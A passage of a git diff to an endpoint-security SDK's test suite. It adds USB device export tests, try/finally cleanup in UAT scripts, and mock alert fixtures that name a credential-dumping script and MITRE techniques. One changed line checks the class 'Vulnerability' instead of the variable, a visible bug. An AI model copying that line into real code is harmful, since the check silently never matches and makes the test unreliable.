sdk_results == api_search, 'Search Test Failed Expected: {}, ' \ - 'Actual: {}'.format(api_search, sdk_results) - print('Search Test...................................OK') - - # update the object - sdk_created_obj.approval_name = 'Changed Approval' - sdk_created_obj._update_object() - sdk_created_new = None - query = cb.select(USBDeviceApproval) - sdk_created_new = query[0] - assert sdk_created_new.approval_name == 'Changed Approval', 'Update Test '\ - 'Failed - Excepted: {}, Actual: {}'.format( - sdk_created_obj._info, - sdk_created_new._info) - print('Update Test...................................OK') - - # delete the usb approval - if sdk_created_obj is not None: - sdk_created_obj.delete() - query = cb.select(USBDeviceApproval) - assert query._total_results == 0, 'Delete Approval Test Failed - Record '\ - 'was not deleted... {}'.format(query._total_results) - print('Delete Approval...............................OK') - print(NEWLINES * '\n') + try: + sdk_obj = USBDeviceApproval(cb, sdk_created_obj.id) + api_result = get_usb_device_approval_by_id_api(sdk_created_obj.id).json() + dict_sdk_obj = sdk_obj._info + assert api_result == dict_sdk_obj, 'Get Approval by ID Failed - ' \ + 'Expected: {}, Actual: {}'.format(api_result, dict_sdk_obj) + print('Get Approval by ID............................OK') + + # get the USB Device Approval + query = cb.select(USBDeviceApproval) + sdk_results = [] + for approval in query: + if approval.id == sdk_created_obj.id: + print('Bulk Create Test..............................OK') + sdk_results.append(approval._info) + api_search = search_usb_device_approval().json()['results'] + assert sdk_results == api_search, 'Search Test Failed\nExpected:\n{}\n' \ + 'Actual:\n{}'.format(json.dumps(api_search, indent=4, sort_keys=True), + json.dumps(sdk_results, indent=4, sort_keys=True)) + print('Search Test...................................OK') + + # export device approvals + query = cb.select(USBDeviceApproval) + job = query.export('CSV') + sdk_results = job.get_output_as_string() + api_results = export_usb_device_approvals() + assert sdk_results == api_results, 'Export Test Failed\nExpected:\n{}\n' \ + 'Actual:\n{}'.format(api_results, sdk_results) + print('Export Test...................................OK') + + # update the object + sdk_created_obj.approval_name = 'Changed Approval' + sdk_created_obj._update_object() + query = cb.select(USBDeviceApproval) + sdk_created_new = query[0] + assert sdk_created_new.approval_name == 'Changed Approval', 'Update Test '\ + 'Failed - Excepted: {}, Actual: {}'.format( + sdk_created_obj._info, + sdk_created_new._info) + print('Update Test...................................OK') + + # delete the usb approval + if sdk_created_obj is not None: + sdk_created_obj.delete() + sdk_created_obj = None + query = cb.select(USBDeviceApproval) + assert query._total_results == 0, 'Delete Approval Test Failed - Record '\ + 'was not deleted... {}'.format(query._total_results) + print('Delete Approval...............................OK') + print(NEWLINES * '\n') + finally: + if sdk_created_obj is not None: + sdk_created_obj.delete() """USB Device Control Blocks""" print('USB Device Control Blocks') @@ -202,50 +242,65 @@ def main(): data = ["6997287"] sdk_result = USBDeviceBlock.bulk_create(cb, data) sdk_created_obj = sdk_result[0] - - api_result = get_usb_device_block_by_id_api(sdk_created_obj.id).json() - block_obj = USBDeviceBlock(cb, sdk_created_obj.id) - dict_block_obj = block_obj._info - assert dict_block_obj == api_result, 'Get Block by ID Failed - Expected: '\ - '{}, Actual: {}'.format(api_result, dict_block_obj) - print('Get Block by ID...............................OK') - # get the USB Device Block - query = cb.select(USBDeviceBlock) - sdk_results = [] - for block in query: - if block.id == sdk_created_obj.id: - print('Bulk Create Test..............................OK') - sdk_results.append(block._info) - api_search = search_usb_device_blocks().json()['results'] - assert sdk_results == api_search, 'Search Test Failed Expected: {}, ' \ - 'Actual: {}'.format(api_search.json()['results'], sdk_results) - print('Search Test...................................OK') - - # delete the usb approval - if sdk_created_obj is not None: - sdk_created_obj.delete() - query = cb.select(USBDeviceBlock) - assert query._total_results == 0, 'Delete Block Failed - Record was not '\ - 'deleted... {}'.format(query._total_results) - print('Delete Block..................................OK') - print(NEWLINES * '\n') + try: + api_result = get_usb_device_block_by_id_api(sdk_created_obj.id).json() + block_obj = USBDeviceBlock(cb, sdk_created_obj.id) + dict_block_obj = block_obj._info + assert dict_block_obj == api_result, 'Get Block by ID Failed - Expected: '\ + '{}, Actual: {}'.format(api_result, dict_block_obj) + print('Get Block by ID...............................OK') + # get the USB Device Block + query = cb.select(USBDeviceBlock) + sdk_results = [] + for block in query: + if block.id == sdk_created_obj.id: + print('Bulk Create Test..............................OK') + sdk_results.append(block._info) + api_search = search_usb_device_blocks().json()['results'] + assert sdk_results == api_search, 'Search Test Failed Expected: {}, ' \ + 'Actual: {}'.format(api_search.json()['results'], sdk_results) + print('Search Test...................................OK') + + # delete the usb approval + if sdk_created_obj is not None: + sdk_created_obj.delete() + sdk_created_obj = None + query = cb.select(USBDeviceBlock) + assert query._total_results == 0, 'Delete Block Failed - Record was not '\ + 'deleted... {}'.format(query._total_results) + print('Delete Block..................................OK') + print(NEWLINES * '\n') + finally: + if sdk_created_obj is not None: + sdk_created_obj.delete() """USB Devices""" print('USB Devices') print(SYMBOLS * DELIMITER) + # Search USB Devices query = cb.select(USBDevice) sdk_results = [] for device in query: sdk_results.append(device._info) api_search = search_usb_devices().json() - assert api_search['num_found'] == query._total_results, 'Device Search ' \ - 'Failed - Expected: {}, Actual: {}'.format(api_search['num_found'], + assert api_search['num_available'] == query._total_results, 'Device Search ' \ + 'Failed - Expected: {}, Actual: {}'.format(api_search['num_available'], query._total_results) - assert sdk_results == api_search['results'], 'Device Search Test Failed -'\ - 'Expected: {}, Actual: {}'.format(api_search['results'], sdk_results) + short_sdk_results = sdk_results[0:api_search['num_found']] + assert short_sdk_results == api_search['results'], 'Device Search Test Failed -'\ + 'Expected: {}, Actual: {}'.format(api_search['results'], short_sdk_results) print('Device Search.................................OK') + # Export USB Devices + query = cb.select(USBDevice) + job = query.export('CSV') + sdk_results = job.get_output_as_string() + api_results = export_usb_devices() + assert sdk_results == api_results, 'Export Test Failed\nExpected: {}\n' \ + 'Actual: {}'.format(api_results, sdk_results) + print('Export Test...................................OK') + # Facet USB Devices query = cb.select(USBDevice).facets(["status"]) api_search = search_usb_devices_facets().json() @@ -264,6 +319,8 @@ def main(): 'Failed - Expected: {}, Actual: {}'.format(api_results, sdk_result) print('Get USB Device Vendors and Products Seen......OK') + return 0 + if __name__ == "__main__": try: diff --git a/src/tests/uat/vulnerability_assessment_uat.py b/src/tests/uat/vulnerability_assessment_uat.py index c57a46c60..4ab16e181 100644 --- a/src/tests/uat/vulnerability_assessment_uat.py +++ b/src/tests/uat/vulnerability_assessment_uat.py @@ -350,7 +350,7 @@ def main(): except MoreThanOneResultError as ex: vulnerability = ex.results - if type(vulnerability) == list: + if isinstance(Vulnerability, list): sdk_results = [vuln._info for vuln in vulnerability] # Select a singular vulnerabilty for follow up tests diff --git a/src/tests/uat/workloads_search_uat.py b/src/tests/uat/workloads_search_uat.py index 08cccbbcc..4becdf283 100755 --- a/src/tests/uat/workloads_search_uat.py +++ b/src/tests/uat/workloads_search_uat.py @@ -232,7 +232,7 @@ def compare_data_summary(sdk_resp, api_resp, api_call): """Compare the data between the sdk and api response""" assert len(sdk_resp) == len(api_resp), f'TEST FAILED\nDifference between api and sdk response found for {api_call}' for block in api_resp: - assert sdk_resp.get(block['field'], -1) == block['value'],\ + assert sdk_resp.get(block['field'], -1) == block['value'], \ f'TEST FAILED\nDifference between api and sdk response found for {api_call}' print('\nTEST PASSED') print("----------------------------------------------------------") diff --git a/src/tests/unit/audit_remediation/test_audit_remediation_base.py b/src/tests/unit/audit_remediation/test_audit_remediation_base.py index fd11fa154..480c0e20d 100644 --- a/src/tests/unit/audit_remediation/test_audit_remediation_base.py +++ b/src/tests/unit/audit_remediation/test_audit_remediation_base.py @@ -117,7 +117,7 @@ def test_result_query_criteria(cbcsdk_mock): "device.policy_id": [1, 2], "device.policy_name": ["default", "policy2"], "status": ["not_started", "matched"] - }, "start": 0, "rows": 100, "query": ""} + }, "start": 0, "rows": 100} def test_result_query_update_criteria(cbcsdk_mock): @@ -127,7 +127,7 @@ def test_result_query_update_criteria(cbcsdk_mock): query = query.update_criteria("my.key.dot.notation", ["criteria_val_2"]) assert query._build_request(start=0, rows=100) == {"criteria": { "my.key.dot.notation": ["criteria_val_1", "criteria_val_2"] - }, "start": 0, "rows": 100, "query": ""} + }, "start": 0, "rows": 100} def test_facet_query_criteria(cbcsdk_mock): @@ -145,7 +145,7 @@ def test_facet_query_criteria(cbcsdk_mock): "device.policy_id": [1, 2], "device.policy_name": ["default", "policy2"], "status": ["not_started", "matched"] - }, "query": "", "terms": {"fields": [], "rows": 100}} + }, "terms": {"fields": [], "rows": 100}} def test_result_facet_query_update_criteria(cbcsdk_mock): @@ -155,7 +155,7 @@ def test_result_facet_query_update_criteria(cbcsdk_mock): ["criteria_val_1", "criteria_val_2"]) assert query._build_request(rows=100) == {"criteria": { "my.key.dot.notation": ["criteria_val_1", "criteria_val_2"] - }, "query": "", "terms": {"fields": [], "rows": 100}} + }, "terms": {"fields": [], "rows": 100}} def test_device_summary_metrics(cbcsdk_mock): diff --git a/src/tests/unit/base/test_base_models.py b/src/tests/unit/base/test_base_models.py index 2e85f21c3..73b93feae 100644 --- a/src/tests/unit/base/test_base_models.py +++ b/src/tests/unit/base/test_base_models.py @@ -13,7 +13,7 @@ from tests.unit.fixtures.stubobject import (StubObject, STUBOBJECT_GET_RESP, STUBOBJECT_GET_PARTIAL, STUBOBJECT_GET_RESP_1, STUBOBJECT_GET_RESP_2, STUBOBJECT_UPDATE_RESP) from tests.unit.fixtures.enterprise_edr.mock_threatintel import FEED_GET_SPECIFIC_RESP -from tests.unit.fixtures.platform.mock_process import (GET_PROCESS_VALIDATION_RESP, +from tests.unit.fixtures.platform.mock_process import (POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP) @@ -110,7 +110,7 @@ def test_model_attributes_nbm(cbcsdk_mock): def test_new_object_nbm(cbcsdk_mock): """Test new_object class method of NewBaseModel via a Policy object""" api = cbcsdk_mock.api - nbm_object = Policy.new_object(api, {'id': 6681, 'otherData': 'test'}) + nbm_object = Policy._new_object(api, {'id': 6681, 'otherData': 'test'}) assert nbm_object._model_unique_id == 6681 @@ -190,18 +190,6 @@ def test_parse_nbm(cbcsdk_mock): assert nbm._parse(nbm._last_refresh_time) == 0 -def test_original_document_nbm(cbcsdk_mock): - """Test original_document method/property of NewBaseModel""" - api = cbcsdk_mock.api - cbcsdk_mock.mock_request("GET", "/testing_only/v1/stubobjects/30241", STUBOBJECT_GET_RESP) - stub = api.select(StubObject, 30241) - # original_document refreshes (if _full_init == False), then returns self._info - assert stub._full_init is False - assert stub.original_document == stub._info - assert stub._full_init is True - assert stub.original_document['id'] == 30241 - - def test_set_attr_mbm(cbcsdk_mock): """Test methods __setattr__ and _set of MutableBaseModel""" feed_id_1 = "pv65TYVQy8YWMX9KsQUg" @@ -387,12 +375,8 @@ def test_refresh_if_needed_mbm(cbcsdk_mock): def test_print_unrefreshablemodel(cbcsdk_mock): """Test printing an UnrefreshableModel""" # mock the search validation - cbcsdk_mock.mock_request("GET", - "/api/investigate/v1/orgs/test/processes/search_validation?" - "process_guid=WNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&q=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00" - "&query=process_guid%3AWNEXFKQ7%5C-0002b226%5C-000015bd%5C-00000000%5C-1d6225bbba74c00", - GET_PROCESS_VALIDATION_RESP) + cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_validation", + POST_PROCESS_VALIDATION_RESP) # mock the POST of a search cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/processes/search_jobs", POST_PROCESS_SEARCH_JOB_RESP) diff --git a/src/tests/unit/base/test_queries.py b/src/tests/unit/base/test_queries.py index 107963ffa..242e218d0 100644 --- a/src/tests/unit/base/test_queries.py +++ b/src/tests/unit/base/test_queries.py @@ -114,10 +114,11 @@ def test_raise_ModelNotFound(): ("Watchlist", "WatchlistQuery"), # Platform - ("BaseAlert", "BaseAlertSearchQuery"), - ("CBAnalyticsAlert", "CBAnalyticsAlertSearchQuery"), - ("DeviceControlAlert", "DeviceControlAlertSearchQuery"), - ("WatchlistAlert", "WatchlistAlertSearchQuery"), + ("Alert", "AlertSearchQuery"), + ("CBAnalyticsAlert", "AlertSearchQuery"), + ("DeviceControlAlert", "AlertSearchQuery"), + ("WatchlistAlert", "AlertSearchQuery"), + ("ContainerRuntimeAlert", "AlertSearchQuery"), ("Device", "DeviceSearchQuery"), ("Event", "EventQuery"), ("EventFacet", "EventFacetQuery"), diff --git a/src/tests/unit/endpoint_standard/test_usb_device.py b/src/tests/unit/endpoint_standard/test_usb_device.py index 9e45b1483..e4dc37519 100755 --- a/src/tests/unit/endpoint_standard/test_usb_device.py +++ b/src/tests/unit/endpoint_standard/test_usb_device.py @@ -18,6 +18,7 @@ from cbc_sdk.endpoint_standard import USBDevice from cbc_sdk.rest_api import CBCloudAPI from cbc_sdk.errors import ApiError +from cbc_sdk.platform import Job from tests.unit.fixtures.CBCSDKMock import CBCSDKMock from tests.unit.fixtures.endpoint_standard.mock_usb_devices import (USBDEVICE_GET_RESP, USBDEVICE_GET_ENDPOINTS_RESP, USBDEVICE_GET_RESP_BEFORE_APPROVE, @@ -25,7 +26,8 @@ USBDEVICE_GET_RESP_AFTER_APPROVE, USBDEVICE_QUERY_RESP, USBDEVICE_FACET_RESP, USBDEVICE_GET_PRODUCTS_RESP, - USBDEVICE_MULTIPLE_QUERY_RESP) + USBDEVICE_MULTIPLE_QUERY_RESP, + USBDEVICE_EXPORT_RESP, USBDEVICE_EXPORT_JOB_RESP) logging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', level=logging.DEBUG, filename='log.txt') @@ -215,6 +217,42 @@ def test_usb_query_facets_not_valid(cbcsdk_mock): query.facets(['bogus']) +def test_usb_query_export(cbcsdk_mock): + """Test the export functionality of the USB device query.""" + def post_validate(url, body, **kwargs): + assert body['query'] == '*' + crits = body['criteria'] + assert crits['status'] == ['APPROVED'] + assert body['format'] == 'JSON' + return USBDEVICE_EXPORT_RESP + + cbcsdk_mock.mock_request("POST", "/device_control/v3/orgs/test/devices/_export", post_validate) + cbcsdk_mock.mock_request("GET", "/jobs/v1/orgs/test/jobs/9941708", USBDEVICE_EXPORT_JOB_RESP) + api = cbcsdk_mock.api + query = api.select(USBDevice).where('*').set_statuses(['APPROVED']) + job = query.export('JSON') + assert job + assert isinstance(job, Job) + assert job.id == 9941708 + + +def test_usb_query_export_badformat(cbcsdk_mock): + """Tests the error thrown when a bad format is supplied to the export function.""" + api = cbcsdk_mock.api + query = api.select(USBDevice).where('*').set_statuses(['APPROVED']) + with pytest.raises(ApiError): + query.export('XLSX') + + +def test_usb_query_export_nojob(cbcsdk_mock): + """Tests the situation in which the export function does not return a job ID.""" + cbcsdk_mock.mock_request("POST", "/device_control/v3/orgs/test/devices/_export", {}) + api = cbcsdk_mock.api + query = api.select(USBDevice).where('*').set_statuses(['APPROVED']) + with pytest.raises(ApiError): + query.export('CSV') + + def test_usb_query_products_seen(cbcsdk_mock): """Test the get_vendors_and_products_seen function.""" cbcsdk_mock.mock_request("GET", "/device_control/v3/orgs/test/products", USBDEVICE_GET_PRODUCTS_RESP) diff --git a/src/tests/unit/endpoint_standard/test_usb_device_approval.py b/src/tests/unit/endpoint_standard/test_usb_device_approval.py index ad6021935..f65ba16c6 100755 --- a/src/tests/unit/endpoint_standard/test_usb_device_approval.py +++ b/src/tests/unit/endpoint_standard/test_usb_device_approval.py @@ -18,13 +18,15 @@ from cbc_sdk.endpoint_standard import USBDeviceApproval, USBDevice from cbc_sdk.rest_api import CBCloudAPI from cbc_sdk.errors import ApiError +from cbc_sdk.platform import Job from tests.unit.fixtures.CBCSDKMock import CBCSDKMock from tests.unit.fixtures.endpoint_standard.mock_usb_devices import (USBDEVICE_APPROVAL_GET_RESP, USBDEVICE_APPROVAL_PUT_RESP, USBDEVICE_APPROVAL_QUERY_RESP, USBDEVICE_APPROVAL_BULK_CREATE_REQ, USBDEVICE_APPROVAL_BULK_CREATE_RESP, - USBDEVICE_GET_RESP) + USBDEVICE_GET_RESP, USBDEVICE_EXPORT_RESP, + USBDEVICE_EXPORT_JOB_RESP) logging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', level=logging.DEBUG, filename='log.txt') @@ -234,3 +236,39 @@ def post_validate(url, body, **kwargs): assert approval.product_id == "0x6969" assert approval.product_name == "Happy Hard Drive" assert approval.approval_name == "Example Approval2" + + +def test_approval_export(cbcsdk_mock): + """Test the export functionality of the USB device query.""" + def post_validate(url, body, **kwargs): + assert body['query'] == '*' + crits = body['criteria'] + assert crits['product_name'] == ['Foonly'] + assert body['format'] == 'JSON' + return USBDEVICE_EXPORT_RESP + + cbcsdk_mock.mock_request("POST", "/device_control/v3/orgs/test/approvals/_export", post_validate) + cbcsdk_mock.mock_request("GET", "/jobs/v1/orgs/test/jobs/9941708", USBDEVICE_EXPORT_JOB_RESP) + api = cbcsdk_mock.api + query = api.select(USBDeviceApproval).where('*').set_product_names(['Foonly']) + job = query.export('JSON') + assert job + assert isinstance(job, Job) + assert job.id == 9941708 + + +def test_approval_export_badformat(cbcsdk_mock): + """Tests the error thrown when a bad format is supplied to the export function.""" + api = cbcsdk_mock.api + query = api.select(USBDeviceApproval).where('*').set_product_names(['Foonly']) + with pytest.raises(ApiError): + query.export('XLSX') + + +def test_approval_export_nojob(cbcsdk_mock): + """Tests the situation in which the export function does not return a job ID.""" + cbcsdk_mock.mock_request("POST", "/device_control/v3/orgs/test/approvals/_export", {}) + api = cbcsdk_mock.api + query = api.select(USBDeviceApproval).where('*').set_product_names(['Foonly']) + with pytest.raises(ApiError): + query.export('CSV') diff --git a/src/tests/unit/fixtures/CBCSDKMock.py b/src/tests/unit/fixtures/CBCSDKMock.py index 449b2e656..aca41e9d1 100644 --- a/src/tests/unit/fixtures/CBCSDKMock.py +++ b/src/tests/unit/fixtures/CBCSDKMock.py @@ -140,7 +140,7 @@ def _get_object(url, query_parameters=None, default=None): matched = self.match_key(self.get_mock_key("GET", url)) if matched: if (isinstance(self.mocks[matched], Exception) - or getattr(self.mocks[matched], '__module__', None) == cbc_sdk.errors.__name__): # noqa: W503 + or getattr(self.mocks[matched], '__module__', None) == cbc_sdk.errors.__name__): raise self.mocks[matched] elif callable(self.mocks[matched]): return self.mocks[matched](url, query_parameters, default) @@ -308,7 +308,7 @@ def convert_query_params(qd): """ o = [] for k, v in iter(qd.items()): - if type(v) == list: + if isinstance(v, list): for item in v: o.append((k, item)) else: diff --git a/src/tests/unit/fixtures/endpoint_standard/mock_usb_devices.py b/src/tests/unit/fixtures/endpoint_standard/mock_usb_devices.py index 522b19a9d..e2a51c558 100755 --- a/src/tests/unit/fixtures/endpoint_standard/mock_usb_devices.py +++ b/src/tests/unit/fixtures/endpoint_standard/mock_usb_devices.py @@ -543,3 +543,36 @@ } ] } + +USBDEVICE_EXPORT_RESP = { + "job_id": 9941708 +} + +USBDEVICE_EXPORT_JOB_RESP = { + "id": 9941708, + "type": "usbdevice_export", + "job_parameters": { + "job_parameters": { + "query": { + "query": "*", + "criteria": { + "status": [ + "APPROVED" + ] + } + } + }, + "api_resource": "USBDEVICE", + "version": "v3" + }, + "connector_id": "1234", + "org_key": "test", + "status": "COMPLETED", + "progress": { + "num_total": 6, + "num_completed": 6, + "message": "FINISHED" + }, + "create_time": "2023-07-21T18:08:46.490Z", + "last_update_time": "2023-07-21T18:08:46.490Z" +} diff --git a/src/tests/unit/fixtures/mock_rest_api.py b/src/tests/unit/fixtures/mock_rest_api.py index 2e40270e8..d5f67716b 100644 --- a/src/tests/unit/fixtures/mock_rest_api.py +++ b/src/tests/unit/fixtures/mock_rest_api.py @@ -86,69 +86,6 @@ } -AUDITLOGS_RESP = { - "notifications": [ - { - "requestUrl": None, - "eventTime": 1529332687006, - "eventId": "37075c01730511e89504c9ba022c3fbf", - "loginName": "bs@carbonblack.com", - "orgName": "example.org", - "flagged": False, - "clientIp": "192.0.2.3", - "verbose": False, - "description": "Logged in successfully", - }, - { - "requestUrl": None, - "eventTime": 1529332689528, - "eventId": "38882fa2730511e89504c9ba022c3fbf", - "loginName": "bs@carbonblack.com", - "orgName": "example.org", - "flagged": False, - "clientIp": "192.0.2.3", - "verbose": False, - "description": "Logged in successfully", - }, - { - "requestUrl": None, - "eventTime": 1529345346615, - "eventId": "b0be64fd732211e89504c9ba022c3fbf", - "loginName": "bs@carbonblack.com", - "orgName": "example.org", - "flagged": False, - "clientIp": "192.0.2.1", - "verbose": False, - "description": "Updated connector jason-splunk-test with api key Y8JNJZFBDRUJ2ZSM", - }, - { - "requestUrl": None, - "eventTime": 1529345352229, - "eventId": "b41705e7732211e8bd7e5fdbf9c916a3", - "loginName": "bs@carbonblack.com", - "orgName": "example.org", - "flagged": False, - "clientIp": "192.0.2.2", - "verbose": False, - "description": "Updated connector Training with api key GRJSDHRR8YVRML3Q", - }, - { - "requestUrl": None, - "eventTime": 1529345371514, - "eventId": "bf95ae38732211e8bd7e5fdbf9c916a3", - "loginName": "bs@carbonblack.com", - "orgName": "example.org", - "flagged": False, - "clientIp": "192.0.2.2", - "verbose": False, - "description": "Logged in successfully", - }, - ], - "success": True, - "message": "Success", -} - - ALERT_SEARCH_SUGGESTIONS_RESP = { "suggestions": [ {"term": "threat_category", "weight": 525}, diff --git a/src/tests/unit/fixtures/platform/mock_alert_v6_v7_compatibility.py b/src/tests/unit/fixtures/platform/mock_alert_v6_v7_compatibility.py new file mode 100644 index 000000000..db774df32 --- /dev/null +++ b/src/tests/unit/fixtures/platform/mock_alert_v6_v7_compatibility.py @@ -0,0 +1,794 @@ +"""Mocks for tests that verify Alert API v6 to v7 compatibility""" + +"""V6 _info for CB_ANALYTIC alert generated by SDK 1.4.3 (before Alert API v7 was in use)""" +ALERT_V6_INFO_CB_ANALYTICS_SDK_1_4_3 = { + "type": "CB_ANALYTICS", + "id": "6f1173f5-f921-8e11-2160-edf42b799333", + "legacy_alert_id": "6f1173f5-f921-8e11-2160-edf42b799333", + "org_key": "ABCD1234", + "create_time": "2023-08-03T00:23:09.659Z", + "last_update_time": "2023-08-03T00:45:18.995Z", + "first_event_time": "2023-08-03T00:22:29.972Z", + "last_event_time": "2023-08-03T00:43:34.042Z", + "threat_id": "9e0afc389c1acc43b382b1ba590498d2", + "severity": 4, + "category": "THREAT", + "device_id": 12345678, + "device_os": "WINDOWS", + "device_os_version": "Windows Server 2019 x64", + "device_name": "DEMO-Device-Name", + "device_username": "demo@demo.org.com", + "policy_name": "demo policy", + "target_value": "MEDIUM", + "workflow": { + "state": "OPEN", + "remediation": "NO_REASON", + "last_update_time": "2023-08-03T00:23:09.659Z", + "changed_by": "ABCD1234" + }, + "notes_present": True, + "tags": "", + "policy_id": 876543, + "reason": "A known virus (HackTool: Powerpuff) was detected running.", + "reason_code": "T_REP_VIRUS", + "process_name": "c:\\users\\administrator\\appdata\\local\\temp\\powerdump.ps1", + "device_location": "OFFSITE", + "created_by_event_id": "e9c71da7319611ee935f4d220f1572e7", + "threat_indicators": [ + { + "process_name": "powershell.exe", + "sha256": "34d008ea32b73e016768545c6c601bc8a0dbca115fd7bc798d0cb435c3071555", + "ttps": [ + "FILELESS", + "RUN_CMD_SHELL", + "MITRE_T1059_001_POWERSHELL", + "MITRE_T1059_003_WIN_CMD_SHELL", + "RUN_MALWARE_APP", + "POLICY_DENY", + "MITRE_T1059_CMD_LINE_OR_SCRIPT_INTER" + ] + }, + { + "process_name": "powerdump.ps1", + "sha256": "bea5ebaf8bbd6fb378b7f03fccb12ea4e0305c6a7be0e219e6b30e2b397f4508", + "ttps": [ + "MALWARE_APP" + ] + } + ], + "threat_activity_dlp": "NOT_ATTEMPTED", + "threat_activity_phish": "NOT_ATTEMPTED", + "threat_activity_c2": "NOT_ATTEMPTED", + "threat_cause_actor_sha256": "0640c9ee54aaca64ff238659b281ce28ae5c3729ff0b2700fdac916589aea848", + "threat_cause_actor_name": "powerdump.ps1", + "threat_cause_actor_process_pid": "2512-133354970126669173-0", + "threat_cause_process_guid": "ABCD1234-006a07ff-000009d0-00000000-1d9c5a3876ed575", + "threat_cause_parent_guid": "ABCD1234-006a07ff-00000638-00000000-1d9c5a385ff6892", + "threat_cause_reputation": "KNOWN_MALWARE", + "threat_cause_threat_category": "KNOWN_MALWARE", + "threat_cause_vector": "WEB", + "threat_cause_cause_event_id": "e9c71da7319611ee935f4d220f1572e7", + "blocked_threat_category": "NON_MALWARE", + "not_blocked_threat_category": "UNKNOWN", + "kill_chain_status": [ + "INSTALL_RUN" + ], + "sensor_action": "TERMINATE", + "run_state": "RAN", + "policy_applied": "APPLIED", + "alert_classification": "" +} + +"""V6 _info for WATCHLIST alert generated by SDK 1.4.3 (before Alert API v7 was in use)""" +ALERT_V6_INFO_WATCHLIST_SDK_1_4_3 = { + "type": "WATCHLIST", + "id": "f6af290d-6a7f-461c-a8af-cf0d24311105", + "legacy_alert_id": "f6af290d-6a7f-461c-a8af-cf0d24311105", + "org_key": "ABCD1234", + "create_time": "2023-08-03T15:46:03.764Z", + "last_update_time": "2023-08-03T15:46:03.764Z", + "first_event_time": "2023-08-03T15:40:38.378Z", + "last_event_time": "2023-08-03T15:40:38.378Z", + "threat_id": "C21CA826573A8D974C1E93C8471AAB7F", + "severity": 5, + "category": "THREAT", + "device_id": 12345678, + "device_os": "WINDOWS", + "device_os_version": "Windows Server 2019 x64", + "device_name": "DEMO-Device-Name", + "device_username": "demo@demo.org.com", + "policy_name": "demo policy", + "target_value": "MEDIUM", + "workflow": { + "state": "OPEN", + "remediation": "NO_REASON", + "last_update_time": "2023-08-03T15:46:03.764Z", + "changed_by": "ALERT_CREATION" + }, + "notes_present": False, + "tags": "", + "policy_id": 9876, + "reason": "Process powershell.exe was detected by the report \"Execution - AMSI - New Fileless Scheduled Task " + "Behavior Detected\" in watchlist \"AMSI Threat Intelligence\"", + "count": 0, + "report_name": "Execution - AMSI - New Fileless Scheduled Task Behavior Detected", + "ioc_id": "d1080521-e617-4e45-94e0-7a145c62c90a", + "ioc_field": "", + "ioc_hit": "(fileless_scriptload_cmdline:Register-ScheduledTask OR fileless_scriptload_cmdline:New-ScheduledTask " + "OR scriptload_content:Register-ScheduledTask OR scriptload_content:New-ScheduledTask) AND NOT " + "(process_cmdline:windows\\\\ccm\\\\systemtemp OR crossproc_name:windows\\\\ccm\\\\ccmexec.exe OR " + "(process_publisher:\"VMware, Inc.\" AND process_publisher_state:FILE_SIGNATURE_STATE_TRUSTED))", + "watchlists": [ + { + "id": "mnbvc098766HN60hatQMQ", + "name": "AMSI Threat Intelligence" + } + ], + "process_guid": "ABCD1234-006a07ff-00000980-00000000-1d9c620d64ec999", + "process_name": "powershell.exe", + "run_state": "RAN", + "threat_indicators": [ + { + "process_name": "powershell.exe", + "sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "ttps": [ + "d1080521-e617-4e45-94e0-7a145c62c90a" + ] + } + ], + "threat_cause_actor_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "threat_cause_actor_md5": "123456789099074eb17c5f4dddefe239", + "threat_cause_actor_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "threat_cause_reputation": "TRUSTED_WHITE_LIST", + "threat_cause_threat_category": "UNKNOWN", + "threat_cause_vector": "UNKNOWN", + "document_guid": "Bo8uIQMuTnW87ndtKhE0EQ", + "alert_classification": { + "classification": "False_POSITIVE", + "user_feedback": "NO_PREDICTION", + "global_prevalence": "MEDIUM", + "org_prevalence": "LOW", + "asset_risk": "UNKNOWN" + } +} + +"""V6 _info for CONTAINER_RUNTIME alert generated by SDK 1.4.3 (before Alert API v7 was in use)""" +ALERT_V6_INFO_CONTAINER_RUNTIME_SDK_1_4_3 = { + "type": "CONTAINER_RUNTIME", + "id": "46b419c8-3d67-ead8-dbf1-9d8417610fac", + "legacy_alert_id": "46b419c8-3d67-ead8-dbf1-9d8417610fac", + "org_key": "ABCD1234", + "create_time": "2023-08-03T10:48:54.536Z", + "last_update_time": "2023-08-03T10:48:54.536Z", + "first_event_time": "2023-08-03T10:45:28.860Z", + "last_event_time": "2023-08-03T10:45:28.860Z", + "threat_id": "a63ac7a14eadcb0577f48eae04c12955462727368be49b3d65dcaf0ddabf6246", + "severity": 5, + "category": "THREAT", + "device_id": 0, + "device_os": "", + "device_os_version": "", + "device_name": "", + "device_username": "", + "policy_name": "demo policy name", + "target_value": "MEDIUM", + "workflow": { + "state": "OPEN", + "remediation": "NO_REASON", + "last_update_time": "2023-08-03T10:48:54.536Z", + "changed_by": "ALERT_CREATION" + }, + "notes_present": False, + "tags": "", + "policy_id": "453964c6-c730-4098-b634-c44a2734537a", + "rule_id": "ec912f66-57c1-466b-b597-1d4a4ce1429c", + "rule_name": "Allowed private destinations", + "reason": "Detected a connection to a private network that isn't allowed for this scope", + "run_state": "RAN", + "cluster_name": "demo:cluster_name", + "namespace": "demo_namespace", + "workload_kind": "Deployment", + "workload_id": "demo_workload_id", + "workload_name": "demo_workload_name", + "replica_id": "demo_workload_id-replica_54cd9c9477-gz6v8", + "remote_namespace": "", + "remote_workload_kind": "", + "remote_workload_id": "", + "remote_workload_name": "", + "remote_replica_id": "", + "connection_type": "EGRESS", + "remote_is_private": True, + "remote_ip": "1.2.3.4", + "remote_domain": "", + "protocol": "TCP", + "port": 443, + "egress_group_id": "", + "egress_group_name": "", + "ip_reputation": 0, + "alert_classification": "" +} + +"""V6 _info for HBFW alert generated by SDK 1.4.3 (before Alert API v7 was in use)""" +ALERT_V6_INFO_HBFW_SDK_1_4_3 = { + "type": 